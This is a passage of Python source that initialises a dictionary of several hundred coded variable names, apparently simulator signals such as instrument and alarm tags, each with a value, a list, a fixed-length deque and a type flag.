'KSMAWR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KAXIAL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTVINF': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMALSC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCNTOMS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'TDELTA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TDTOLD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TDELTAM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TIMSIM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KMLH5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELB2L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELB2R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELA3L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELA3U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELA5L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELA5U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3LA4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELA1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELC1L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELC1R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELD1L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELD1R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELE1L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELE1R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELG1L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELG1U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELF3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELG3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELH3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KELG8': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB1L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB1R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC1L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC1R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEF1R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEF1L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEA02': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB2L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB2R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB4L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB4U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC4LL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC4LR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC4UL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC4UR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEE5L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEE5R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEH5R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEH5L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KED6L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KED6R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEF6L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEF6U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEK6U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEK6L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB7L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB7U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KED7L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KED7R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC8L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEF08': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC8R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEJ9R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEJ9L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC10L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC10R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEE10R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEE10L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEF10U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEF10L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEA11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEJ13U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEJ13L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEK13L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEK13U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEK14L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEK14U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEA20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEJ21L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEJ21U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEA29': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC26L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC26R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KED26L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KED26R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB27': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KED27': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB34': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KED34': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB35R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEB35L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEA36L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEA36R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC36L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEC36R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEA37L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KEA37R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KED38L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KED38U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KERA4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KERH1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KERG4L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KERG4R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLJ1L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLJ1R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLK01': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLE02': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLF02': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLJ02': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLK04': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLB6L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLB6U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLC06': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLJ07': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLD09': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLJ13': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLF14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLF15': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLJ15': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLA18': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLK20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLA21': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLJ24': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLH27': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLG23L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLG23U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLH28L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLH28R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLF30': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLD29': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLE34': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLF33': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLG33': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLF37': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLJ37': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLA38': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLJ38': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRG2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRE2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRE3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRH3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRE4L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRE4R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRE5U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRE5L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRE6U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRE6L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRF1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRE7L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRE7R': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLRG7': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3C03': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3G07': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3H07': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3J07': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3G08': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3H08': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3D09': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3F14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3J15': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3K20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3J24': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3A21': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3G23L': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3G23U': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3G37': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3H37': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3J37': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3G38': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3H38': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3J38': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KRELSE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFANCL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3K11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'K3C20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'ZINST1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST6': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST7': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST8': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST9': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST10': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST12': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST13': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST15': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST16': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST17': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST18': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST19': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST21': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST22': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST23': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST24': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST25': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST26': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST27': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST28': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST29': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST30': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST31': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST32': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST33': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST34': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST35': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST36': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST37': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST38': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST39': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST40': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST41': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST42': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST43': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST44': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST45': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST46': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST47': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST48': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST49': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST50': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST51': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST52': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST53': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST54': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST55': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST56': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST57': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST58': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST59': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST60': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST61': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST62': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST63': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST64': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST65': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST66': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST67': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST68': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST69': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST70': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST71': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST72': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST73': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST74': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST75': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST76': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST77': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST78': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST79': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST80': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST81': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST82': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST83': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST84': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST85': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST86': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST87': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST88': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST89': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST90': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST91': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST92': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST93': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST94': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST95': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST96': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST97': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST98': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST99': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST100': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST101': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST102': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST103': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST104': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST105': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST106': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST107': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST108': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST109': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST110': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST111': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST112': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST113': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST114': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST115': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST116': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST117': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST118': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST119': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST120': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST121': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST122': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST123': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST124': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST125': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST126': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST127': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZINST128': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KBCDO1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO6': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO7': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO8': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO9': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO10': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO12': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO13': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO15': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBCDO16': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
